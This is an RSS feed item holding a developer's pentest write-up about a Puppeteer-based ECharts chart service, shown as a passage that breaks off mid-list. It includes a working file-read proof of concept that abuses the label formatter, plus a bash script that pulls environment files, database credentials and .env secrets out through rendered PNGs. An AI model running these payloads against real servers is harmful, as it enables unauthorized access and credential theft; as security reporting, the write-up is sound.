<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Marco Altomare</title>
    <description>The latest articles on DEV Community by Marco Altomare (@marco_altomare_0e7674642c).</description>
    <link>https://dev.to/marco_altomare_0e7674642c</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3882664%2F68978334-c8ac-4e32-82c5-ffb1da9b000b.jpg</url>
      <title>DEV Community: Marco Altomare</title>
      <link>https://dev.to/marco_altomare_0e7674642c</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/marco_altomare_0e7674642c"/>
    <language>en</language>
    <item>
      <title>From a Single IP to Exfiltrated Passwords in a PNG: My First Freelance Pentest Engagement</title>
      <dc:creator>Marco Altomare</dc:creator>
      <pubDate>Mon, 04 May 2026 13:38:49 +0000</pubDate>
      <link>https://dev.to/marco_altomare_0e7674642c/from-a-single-ip-to-exfiltrated-passwords-in-a-png-my-first-freelance-pentest-engagement-2ego</link>
      <guid>https://dev.to/marco_altomare_0e7674642c/from-a-single-ip-to-exfiltrated-passwords-in-a-png-my-first-freelance-pentest-engagement-2ego</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This article describes a security research activity carried out in a &lt;strong&gt;controlled context&lt;/strong&gt;, with educational goals and the aim of improving security. All references to IPs, domains, paths, file names, and configurations have been anonymized or modified to prevent any form of harm or unauthorized enablement. Nothing below is an invitation to test systems without a &lt;strong&gt;written mandate&lt;/strong&gt; from the owner or legal responsible party.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;A real, anonymized case: from PoC to local file reading, ending with a report a CTO can actually use.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My first freelance penetration testing engagement came in a very concrete way: &lt;strong&gt;a technical contact asked me to verify a Linux server exposed on the internet, with a custom web application already in production and some collateral services publicly accessible.&lt;/strong&gt; This was not the classic setting of a large structured program: it was a real system to assess, a tight perimeter, and a simple but demanding request — understand how exposed it really was.&lt;/p&gt;

&lt;p&gt;It was immediately clear to me that this was not a theoretical exercise. &lt;strong&gt;There was a real infrastructure, a precise objective, and the responsibility to turn technical observations into results that would actually be useful to the people running that system.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this article I focus on the most interesting part: &lt;strong&gt;how a seemingly small surface can lead to a much deeper discovery chain&lt;/strong&gt;, and why some exploits stand out not only because of their impact, but because of their technical elegance.&lt;/p&gt;

&lt;p&gt;For me, this was a real exam. No company badge, no senior colleague to pass doubts to. Just the mandate, the objectives, the tools I use every day, and the responsibility to deliver solid results to a real client.&lt;/p&gt;

&lt;p&gt;In this article I explain what I found from a technical perspective and what I learned from a professional one. It is a showcase of how I approach a black-box test, from the first packet to the final report.&lt;/p&gt;

&lt;h2&gt;
  
  
  The perimeter: one server, many surfaces
&lt;/h2&gt;

&lt;p&gt;The target was a single Linux host with a public IP in the form of XXX.XXX.XXX.XXX and an application domain I will call &lt;code&gt;api.example.com&lt;/code&gt;. The environment was not spread across multiple machines or microservices, but concentrated on a single instance with several services listening.&lt;/p&gt;

&lt;p&gt;From the reconnaissance phase, the main exposed surfaces were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Port 80 and 443:&lt;/strong&gt; a public PHP API based on a custom framework.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port 3001:&lt;/strong&gt; a Node.js service that generates chart images from ECharts configurations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port 8999:&lt;/strong&gt; an XHProf interface, a PHP profiler, reachable from the outside without authentication.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The stack consisted of Nginx as reverse proxy, a PHP web application, a Node.js service orchestrating Puppeteer, and a MySQL backend. The main webroot had the classic shared-hosting structure, similar to &lt;code&gt;/data/wwwroot/&lt;/code&gt;, with separate directories for the PHP API and the chart-generation service.&lt;/p&gt;

&lt;p&gt;Even from this point there were some interesting signals: an exposed profiler, a Node service rendering user input through a headless browser, and a custom PHP framework. These are three ingredients that, if combined poorly, can lead to deep vulnerabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mapping the attack surface in practice
&lt;/h2&gt;

&lt;p&gt;The first phase was mapping: understanding what responded on each port, which endpoints existed, and what kind of input they accepted.&lt;/p&gt;

&lt;p&gt;On the PHP API, the application responded in JSON even for nonexistent routes. The custom framework used a central router that, for unregistered paths, returned a standard message like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"route not exists"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This made errors less informative, but it was enough to understand that I was not dealing with a mainstream framework like Laravel or Symfony.&lt;/p&gt;

&lt;p&gt;The most interesting port was 3001. There lived a Node.js service exposing three main endpoints:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POST /api/generate-chart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /api/health&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /images/:filename&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The behavior was clear:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /api/generate-chart&lt;/code&gt; accepted an ECharts JSON object, passed it to Puppeteer, and returned a PNG.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GET /api/health&lt;/code&gt; confirmed the service status with a lightweight response.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GET /images/:filename&lt;/code&gt; exposed the generated PNGs, saved on disk in a dedicated directory.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On port 8999, XHProf was exposed. A legitimate tool for profiling PHP applications, but one that is meant for internal environments, not the public internet.&lt;/p&gt;

&lt;p&gt;From XHProf I was able to extract valuable information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;internal class names such as &lt;code&gt;MysqlHelper&lt;/code&gt;, &lt;code&gt;GlobalVar&lt;/code&gt;, &lt;code&gt;FuncHelper&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;use of &lt;code&gt;KLogger&lt;/code&gt; for application logging.&lt;/li&gt;
&lt;li&gt;filesystem directory structure, including paths under the webroot.&lt;/li&gt;
&lt;li&gt;internal PHP application route patterns.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice, XHProf acted as &lt;strong&gt;involuntary technical documentation&lt;/strong&gt; for the backend.&lt;/p&gt;

&lt;h2&gt;
  
  
  The chart-generation API: Puppeteer as a pivot
&lt;/h2&gt;

&lt;p&gt;The service on port 3001 took as input an ECharts &lt;code&gt;option&lt;/code&gt; object and rendered it through a headless Chromium instance managed by Puppeteer.&lt;/p&gt;

&lt;p&gt;The idea is simple and useful: instead of generating charts on the client side in the user’s browser, the application generates them server-side and returns a PNG image that can be embedded anywhere.&lt;/p&gt;

&lt;p&gt;At a high level, the flow was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The client sends a &lt;code&gt;POST /api/generate-chart&lt;/code&gt; request with a JSON payload containing the ECharts configuration.&lt;/li&gt;
&lt;li&gt;Node.js creates a headless page with Puppeteer.&lt;/li&gt;
&lt;li&gt;The page loads ECharts, applies the received options, and renders the chart.&lt;/li&gt;
&lt;li&gt;Puppeteer captures a screenshot of the chart area and saves it as a PNG in a local directory.&lt;/li&gt;
&lt;li&gt;The API returns the file path and a &lt;code&gt;fileName&lt;/code&gt; that can be downloaded through &lt;code&gt;GET /images/:filename&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Functionally, it is a perfect service for automatic report generation. From a security perspective, however, everything depends on what is allowed inside the ECharts code.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And that is where the interesting part begins.&lt;/p&gt;

&lt;h2&gt;
  
  
  From the ECharts formatter to local file reading
&lt;/h2&gt;

&lt;p&gt;In ECharts configuration, the &lt;code&gt;label.formatter&lt;/code&gt; field can accept a JavaScript function, not just a string.&lt;/p&gt;

&lt;p&gt;Normally this function is used to customize series labels, adding percentages, symbols, or special formatting. In the context of a headless browser running server-side, with the &lt;code&gt;file://&lt;/code&gt; protocol available, that function becomes a small sandbox escape point.&lt;/p&gt;

&lt;p&gt;The core of the vulnerability I found is this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the service accepts arbitrary JavaScript functions in &lt;code&gt;option.series[].label.formatter&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Puppeteer executes them in the page context, without limiting access to the &lt;code&gt;file://&lt;/code&gt; protocol&lt;/li&gt;
&lt;li&gt;the JavaScript code can instantiate objects such as &lt;code&gt;XMLHttpRequest&lt;/code&gt; and read local files&lt;/li&gt;
&lt;li&gt;the text read can be returned by the formatter function and thus rendered inside the chart&lt;/li&gt;
&lt;li&gt;all generated content is captured in the PNG and served over HTTP via &lt;code&gt;/images/:filename&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This leads to a vulnerability that can be described as &lt;strong&gt;file:// SSRF with arbitrary local file reading&lt;/strong&gt;, combined with path traversal.&lt;/p&gt;

&lt;p&gt;The proof of concept I used to confirm the exploit, properly anonymized, looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="o"&gt;[&lt;/span&gt;http://XXX.XXX.XXX.XXX:3001/api/generate-chart]&lt;span class="o"&gt;(&lt;/span&gt;http://XXX.XXX.XXX.XXX:3001/api/generate-chart&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "option": {
      "title": {"text": "FILE_READ_POC"},
      "series": [{
        "type": "pie",
        "data": [{"value": 1, "name": "leak"}],
        "label": {
          "show": true,
          "formatter": "function(p){ var x=new XMLHttpRequest(); x.open(\\\"GET\\\",\\\"file:///etc/passwd\\\",false); x.send(); return x.responseText.substring(0,500); }"
        }
      }]
    }
  }'&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API response confirms the PNG generation and provides the file name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"imagePath"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"data/wwwroot/echarts-to-image/images/chart-UUID.png"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"imageUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"images/chart-UUID.png"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"fileName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chart-UUID.png"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By downloading the PNG with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;http://XXX.XXX.XXX.XXX:3001/images/chart-UUID.png]&lt;span class="o"&gt;(&lt;/span&gt;http://XXX.XXX.XXX.XXX:3001/images/chart-UUID.png&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; out.png
strings out.png | &lt;span class="nb"&gt;head&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;...it is possible to see the contents of &lt;code&gt;/etc/passwd&lt;/code&gt; rendered as text inside the image.&lt;/p&gt;

&lt;p&gt;From there, the vulnerability becomes a true &lt;strong&gt;arbitrary local file read&lt;/strong&gt; with the privileges of the Node.js process.&lt;/p&gt;

&lt;p&gt;In terms of severity, a combination of file-based SSRF and unauthenticated arbitrary file reading on an exposed service deserves a high classification. The estimated CVSS score was &lt;strong&gt;8.6 High&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reconstructing the filesystem from scratch
&lt;/h2&gt;

&lt;p&gt;By combining the information obtained from XHProf with file reading via Puppeteer, I was able to reconstruct the filesystem structure in a fairly detailed way.&lt;/p&gt;

&lt;p&gt;A simplified representation, with anonymized names, is the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/
├── etc/
│   ├── passwd                    # system user enumeration
│   └── environment               # system environment variables
├── proc/
│   ├── self/environ              # Node.js process env
│   └── self/cmdline              # process startup command
├── root/
│   ├── flag.txt                  # CTF flag or sentinel file
│   └── flag                      # variant of the same flag
├── tmp/                          # temporary files, possible sessions
├── var/
│   └── log/
│       └── nginx/                # access.log, error.log
└── data/
    └── wwwroot/
        ├── echarts-to-image/     # vulnerable Node.js service
        │   ├── app.js            # Node.js source code
        │   ├── index.js
        │   ├── package.json
        │   ├── .env              # specific environment variables
        │   └── images/           # PNGs generated and accessible via HTTP
        └── api-php/              # main PHP application
            ├── index.php
            ├── config/
            │   └── database.php  # MySQL credentials
            ├── framework/
            │   ├── core/
            │   │   ├── Route.php
            │   │   ├── BaseApi.php
            │   │   └── GlobalVar.php
            │   └── libs/
            │       ├── MysqlHelper.php
            │       └── FuncHelper.php
            ├── Lists.php
            ├── .env              # PHP application secrets
            └── runtime/          # KLogger application logs 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a black-box test, reaching a map like this from the internet alone means you already have rich material for a high-value report. Not only as a personal challenge, but also as a concrete basis for discussion with the client.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating exfiltration: the read script
&lt;/h2&gt;

&lt;p&gt;Once I had proved that reading &lt;code&gt;/etc/passwd&lt;/code&gt; was possible, the challenge became organizational. It made no sense to repeat the same request manually for every single file.&lt;/p&gt;

&lt;p&gt;I therefore prepared a collection script that, starting from a list of interesting paths, &lt;strong&gt;sends the request to the &lt;code&gt;generate-chart&lt;/code&gt; endpoint, retrieves the generated PNG, and runs &lt;code&gt;strings&lt;/code&gt; to quickly extract any secrets.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A simplified, anonymized version of the script is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;BASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://XXX.XXX.XXX.XXX:3001"&lt;/span&gt;
&lt;span class="nv"&gt;OUT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/loot"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

read_file&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;label&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="p"&gt;//\//_&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

  &lt;span class="nv"&gt;fname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE_URL&lt;/span&gt;&lt;span class="s2"&gt;/api/generate-chart"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"{
      &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;option&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {
        &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;title&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;LEAK&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;fontSize&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: 12},
        &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;series&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: [{
          &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;type&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;pie&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,
          &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;data&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: [{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: 1, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;x&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}],
          &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;label&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {
            &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;show&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: true,
            &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;formatter&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;function(p){ var x=new XMLHttpRequest(); x.open('GET','file://&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;',false); x.send(); return (x.responseText||'EMPTY_OR_NOT_FOUND').substring(0,800); }&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
          }
        }]
      }
    }"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'\"fileName\":\"[^\"]*\"'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;'\"'&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$fname&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE_URL&lt;/span&gt;&lt;span class="s2"&gt;/images/&lt;/span&gt;&lt;span class="nv"&gt;$fname&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$label&lt;/span&gt;&lt;span class="s2"&gt;.png"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[+] &lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$OUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$label&lt;/span&gt;&lt;span class="s2"&gt;.png"&lt;/span&gt;
    strings &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$label&lt;/span&gt;&lt;span class="s2"&gt;.png"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="s2"&gt;"password|secret|key|token|api|mysql|db_|flag|ctf|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;{[a-zA-Z0-9_]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;
  &lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[!] Nessun PNG generato per &lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;fi
  &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;1
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# Target critici&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/proc/self/environ"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/data/wwwroot/api-php/config/database.php"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/data/wwwroot/echarts-to-image/app.js"&lt;/span&gt;

&lt;span class="c"&gt;# Target ad alta priorità&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/data/wwwroot/echarts-to-image/.env"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/data/wwwroot/api-php/.env"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/root/flag.txt"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/root/flag"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/flag.txt"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/flag"&lt;/span&gt;

&lt;span class="c"&gt;# Possibili nomi alternativi per la flag&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;name &lt;span class="k"&gt;in &lt;/span&gt;secret secret.txt password root.txt token.txt answer.txt hidden.txt&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;read_file &lt;span class="s2"&gt;"/root/&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  read_file &lt;span class="s2"&gt;"/&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Log e informazioni di sistema&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/var/log/nginx/access.log"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/etc/passwd"&lt;/span&gt;
read_file &lt;span class="s2"&gt;"/proc/self/cmdline"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tutti i PNG sono in &lt;/span&gt;&lt;span class="nv"&gt;$OUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Analisi rapida: strings &lt;/span&gt;&lt;span class="nv"&gt;$OUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/*.png | grep -iE 'flag|pass|key|secret'"&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script has three qualities that, as a freelancer, matter a lot to me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;it is repeatable and documentable&lt;/li&gt;
&lt;li&gt;it reduces room for human error&lt;/li&gt;
&lt;li&gt;it shows the client clearly that the exploit is real and industrializable&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hunting hard-coded secrets
&lt;/h2&gt;

&lt;p&gt;The files of interest fell into three categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;system files with informational value, such as &lt;code&gt;/etc/passwd&lt;/code&gt; or &lt;code&gt;/proc/self/cmdline&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;critical application files, such as &lt;code&gt;database.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;app.js&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;possible flag or sentinel files in &lt;code&gt;/root&lt;/code&gt; or at the filesystem root&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In particular, some key targets were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/proc/self/environ&lt;/code&gt;: the Node.js process environment, with possible credentials or runtime-injected tokens&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/data/wwwroot/api-php/config/database.php&lt;/code&gt;: plaintext MySQL credentials, often reused&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/data/wwwroot/echarts-to-image/app.js&lt;/code&gt;: Node.js service source code, possibly with hard-coded keys&lt;/li&gt;
&lt;li&gt;
